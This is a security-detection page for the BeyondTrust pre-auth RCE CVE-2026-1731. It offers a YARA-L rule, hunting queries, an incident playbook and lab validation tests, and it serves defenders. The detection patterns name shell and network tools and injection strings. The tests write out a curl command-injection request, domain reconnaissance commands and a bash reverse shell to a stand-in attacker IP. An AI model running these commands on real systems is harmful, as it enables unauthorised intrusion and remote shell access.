CVE-2026-1731 Google Chronicle · YARA-L

Detect BeyondTrust Remote Support Pre-Auth RCE (CVE-2026-1731) in Google Chronicle

Detects exploitation of CVE-2026-1731, a pre-authentication remote code execution vulnerability (CWE-78, OS command injection) in BeyondTrust Remote Support and Privileged Remote Access. CVSS 9.8. Actively exploited in the wild (CISA KEV). Attackers can execute arbitrary OS commands without authentication via crafted HTTP requests to the appliance web interface.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2026_1731_beyondtrust_preauth_rce {
  meta:
    author = "df00tech"
    description = "Detects CVE-2026-1731 BeyondTrust Remote Support Pre-Auth RCE exploitation"
    severity = "CRITICAL"
    priority = "HIGH"
    reference = "https://www.beyondtrust.com/trust-center/security-advisories/bt26-02"
    cve = "CVE-2026-1731"

  events:
    (
      // Child process spawned by BeyondTrust parent
      $e1.metadata.event_type = "PROCESS_LAUNCH" and
      re.regex($e1.principal.process.parent_process.file.full_path, `(?i)(bomgar|beyondtrust|remote_support|rs_app|pra)`) and
      re.regex($e1.target.process.file.full_path, `(?i)(cmd\.exe|powershell\.exe|/bin/sh|/bin/bash|python3?|wget|curl|ncat?|whoami|\bid\b)`)
    ) or
    (
      // Exploit-characteristic HTTP request to appliance
      $e1.metadata.event_type = "NETWORK_HTTP" and
      re.regex($e1.network.http.user_agent, `(?i)(python-requests|curl/|Go-http-client|CVE-2026-1731|exploit)`) and
      re.regex($e1.target.url, `(?i)(/api/|/login|/appliance|/cgi-bin)`) and
      $e1.network.http.method = "POST"
    ) or
    (
      // Command injection payload in BeyondTrust application log
      $e1.metadata.product_name = /(?i)beyondtrust|remote.support|privileged.remote.access/ and
      re.regex($e1.metadata.description, `(?i)(;id;|;whoami;|os\.system|shell_exec|exec\(|\$\(id\)|\$\(whoami\))`)
    )

  condition:
    $e1
}
critical severity high confidence

Chronicle YARA-L rule detecting CVE-2026-1731 exploitation through three signal paths: BeyondTrust parent process spawning suspicious child binaries, exploit-characteristic HTTP POST requests to appliance endpoints, and command injection payloads appearing in BeyondTrust application log events.

Data Sources

Chronicle UDM: Process EventsChronicle UDM: Network HTTPChronicle UDM: Application Logs

Required Tables

PROCESS_LAUNCHNETWORK_HTTP

False Positives & Tuning

  • Authorized scripted integrations using python-requests to interact with BeyondTrust REST API
  • BeyondTrust appliance automated update mechanism that spawns child processes including shell utilities
  • Penetration tests with documented coverage of the BeyondTrust appliance
  • Security scanning tools that POST to appliance health-check endpoints with curl user-agents

Other platforms for CVE-2026-1731

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-1731 PoC HTTP Request Simulation

    Expected signal: IIS/nginx access log entry: POST /api/unauthenticated/session with user-agent 'CVE-2026-1731-PoC-Test' and POST body containing ';id;whoami;'. WAF should log or block the request.

  2. Test 2BeyondTrust Service Account Spawning Shell (Simulated Post-Exploitation)

    Expected signal: Windows Security Event 4688: new process cmd.exe with parent process belonging to BeyondTrust service account (btrs_service). Process command line contains whoami, hostname, ipconfig, net user.

  3. Test 3BeyondTrust Process Outbound Reverse Shell Simulation

    Expected signal: Linux auditd execve syscall: bash -i spawned by beyondtrust service process. Network connection record: beyondtrust process connecting outbound to LAB_ATTACKER_IP:4444 (non-standard port, external IP).

Last updated: 2026-06-20 Research depth: standard
References (5)

Response Playbook

Triage

  1. Verify the asset is running BeyondTrust Remote Support or Privileged Remote Access; cross-reference asset inventory and check the BT26-02 advisory for affected version ranges. Confirm patch status via the BeyondTrust admin console version string.
  2. Examine the HTTP request that triggered the alert: capture the full URL, POST body, source IP, and user-agent. Determine whether the request targeted a pre-authentication endpoint (no session cookie / Authorization header present). Check source IP against threat intel feeds and GreyNoise for CVE-2026-1731 scanner activity.
  3. Identify any child processes spawned by the BeyondTrust appliance service account in the 15 minutes surrounding the alert timestamp. Look for command interpreters (cmd, powershell, bash, sh), network utilities (wget, curl, nc), or reconnaissance binaries (whoami, id, ifconfig).
  4. Pull BeyondTrust appliance audit logs and application logs for the relevant time window. Look for authentication attempts, API calls with abnormal parameters, and error traces indicative of command injection (OS error codes, shell output in error messages).

Containment

  1. Immediately isolate the BeyondTrust appliance from the network at the firewall or load-balancer layer if active exploitation is confirmed. Block all inbound connections to the appliance web interface (TCP 443/80/8443) from untrusted networks. Do not power off the host — preserve volatile memory for forensics.
  2. Revoke all active BeyondTrust sessions, reset the appliance service account credentials, and rotate API keys. If the appliance is domain-joined or has privileged access to downstream systems, assume those credentials are compromised and initiate credential rotation for all accounts with sessions on the appliance.
  3. Apply BeyondTrust patch per BT26-02 advisory before bringing the appliance back online. Verify patch integrity via vendor-provided hash.

Evidence Collection

  1. Capture a full memory image of the BeyondTrust appliance host using a tool such as LiME (Linux) or WinPmem (Windows) before any remediation. Preserve process list, network connections (netstat -antp), and loaded modules at time of isolation.
  2. Export BeyondTrust appliance access logs, audit logs, and application error logs covering at least 72 hours prior to alert. Collect IIS/nginx/Apache access logs, OS-level auth logs (/var/log/auth.log or Windows Security EventLog), and any WAF logs. Hash all collected files (SHA-256) for chain-of-custody.

Escalation Criteria

  • !Escalate immediately to IR lead if any of the following are observed: reverse shell or interactive shell process under the BeyondTrust service account, lateral movement from the appliance host to internal systems, data exfiltration indicators (large outbound transfers to external IPs), or evidence that attacker accessed privileged remote sessions managed by the appliance.
  • !Escalate to executive leadership and legal/compliance if customer or employee endpoint data accessible via BeyondTrust sessions may have been exposed, or if the appliance was used to pivot into PCI, HIPAA, or other regulated environments.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >BeyondTrust appliance HTTP access log entries showing POST requests to pre-auth endpoints with anomalous parameters or oversized payloads
  • >OS-level process creation records (Windows Security Event 4688 or Linux auditd execve) showing BeyondTrust parent spawning shell interpreter or network utility
  • >Network connection records showing BeyondTrust process initiating outbound TCP to attacker-controlled IP on non-standard port (reverse shell beacon)
  • >Filesystem artifacts in /tmp or %TEMP% directories: dropped payloads, web shells, or attacker tooling created by the BeyondTrust service account

Tuning Guidance

Start by baselining all processes legitimately spawned by BeyondTrust parent executables in your environment (typically none beyond the appliance's own sub-processes). Add allowlist exceptions for documented BeyondTrust update routines. For HTTP-based signals, tune the user-agent regex to exclude your internal monitoring and API clients. For the network anomaly rule, maintain a list of approved outbound destinations for the BeyondTrust appliance (vendor telemetry endpoints, licensing servers) and exclude those. Prioritize alerts where the source IP matches GreyNoise CVE-2026-1731 scanner tags or where the exploit-pattern POST is followed within 60 seconds by a child process spawn — that sequence has near-zero false-positive rate.

Hunting Queries

Hunt for all POST requests to BeyondTrust appliance pre-auth endpoints from external IPs in the past 30 days, grouped by source IP and URI to identify scanning/exploitation campaigns

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated > ago(30d)
| where csMethod == "POST"
| where csUriStem has_any ("/api/", "/login", "/appliance", "/cgi-bin")
| where ipv4_is_private(cIP) == false
| summarize RequestCount=count(), URIs=make_set(csUriStem), StatusCodes=make_set(scStatus), UserAgents=make_set(csUserAgent) by cIP
| order by RequestCount desc
Hunting — SPL
spl 
index=* sourcetype=iis earliest=-30d
| where http_method="POST"
| where match(uri_path, "/api/|/login|/appliance|/cgi-bin")
| where NOT match(src_ip, "^10\.|^192\.168\.|^172\.(1[6-9]|2[0-9]|3[01])\.")
| stats count as request_count, values(uri_path) as uris, values(status) as status_codes, values(http_user_agent) as user_agents by src_ip
| sort -request_count

Hunt for BeyondTrust service account process activity on endpoints to identify post-exploitation lateral movement

Hunting — KQL
kql 
DeviceProcessEvents
| where AccountName has_any ("bomgar", "beyondtrust", "btrs", "pra_service")
| where FileName in~ ("cmd.exe", "powershell.exe", "sh", "bash", "python.exe", "python3", "wget", "curl", "net.exe", "net1.exe", "nltest.exe", "whoami.exe")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| order by TimeGenerated desc
Hunting — SPL
spl 
index=wineventlog EventCode=4688 OR index=syslog type=execve
| where match(lower(parent_process_name), "bomgar|beyondtrust|btrs|pra_service")
| where match(lower(process_name), "cmd\.exe|powershell|bash|sh|python|wget|curl|net\.exe|whoami")
| table _time, host, user, parent_process_name, process_name, process_cmd
| sort -_time

Atomic Red Team Tests

Test 1 CVE-2026-1731 PoC HTTP Request Simulation
linux

Simulate the exploit HTTP request pattern targeting a BeyondTrust appliance pre-auth endpoint with a command injection payload in the POST body, to validate HTTP log detection and WAF alerting.

Command

bash 
curl -sk -X POST 'https://BTRS_HOST/api/unauthenticated/session' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: CVE-2026-1731-PoC-Test' --data 'param1=value&injected=;id;whoami;' -o /tmp/bt_test_response.txt 2>&1; echo 'Exit code:' $?

Cleanup

bash 
rm -f /tmp/bt_test_response.txt

Expected Telemetry

IIS/nginx access log entry: POST /api/unauthenticated/session with user-agent 'CVE-2026-1731-PoC-Test' and POST body containing ';id;whoami;'. WAF should log or block the request.

Expected Detection

HTTP user-agent signature rule triggers on 'CVE-2026-1731-PoC-Test'. Command injection payload regex matches ';id;' in POST body if body logging is enabled.

Test 2 BeyondTrust Service Account Spawning Shell (Simulated Post-Exploitation)
windows

Simulate post-exploitation behavior by running a shell interpreter and reconnaissance commands as the BeyondTrust service account, to validate process-based detections. Run in an isolated lab VM only.

Command

powershell 
runas /user:DOMAIN\btrs_service "cmd.exe /c whoami && hostname && ipconfig /all && net user && net group 'Domain Admins' /domain" 2>&1

Cleanup

powershell 
No persistent artifacts; process exits after command completion.

Expected Telemetry

Windows Security Event 4688: new process cmd.exe with parent process belonging to BeyondTrust service account (btrs_service). Process command line contains whoami, hostname, ipconfig, net user.

Expected Detection

Suspicious child process detection triggers on cmd.exe spawned under BeyondTrust service account with reconnaissance command-line arguments.

Test 3 BeyondTrust Process Outbound Reverse Shell Simulation
linux

Simulate an attacker establishing a reverse shell from the BeyondTrust appliance host to an external C2 server. Use a controlled lab environment with a netcat listener on a designated test IP.

Command

bash 
# On attacker machine (lab): nc -lvnp 4444
# On BeyondTrust appliance (lab, run as beyondtrust service user):
bash -c 'bash -i >& /dev/tcp/LAB_ATTACKER_IP/4444 0>&1' &
echo 'Reverse shell initiated, check listener'

Cleanup

bash 
kill $(lsof -ti tcp:4444) 2>/dev/null; pkill -f 'bash -i' 2>/dev/null

Expected Telemetry

Linux auditd execve syscall: bash -i spawned by beyondtrust service process. Network connection record: beyondtrust process connecting outbound to LAB_ATTACKER_IP:4444 (non-standard port, external IP).

Expected Detection

Anomalous outbound connection detection triggers on BeyondTrust process connecting to external IP on port 4444. Child process detection triggers on interactive bash spawned under BeyondTrust parent.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1078Valid Accounts

Same Tactic: Initial Access

Popular Detections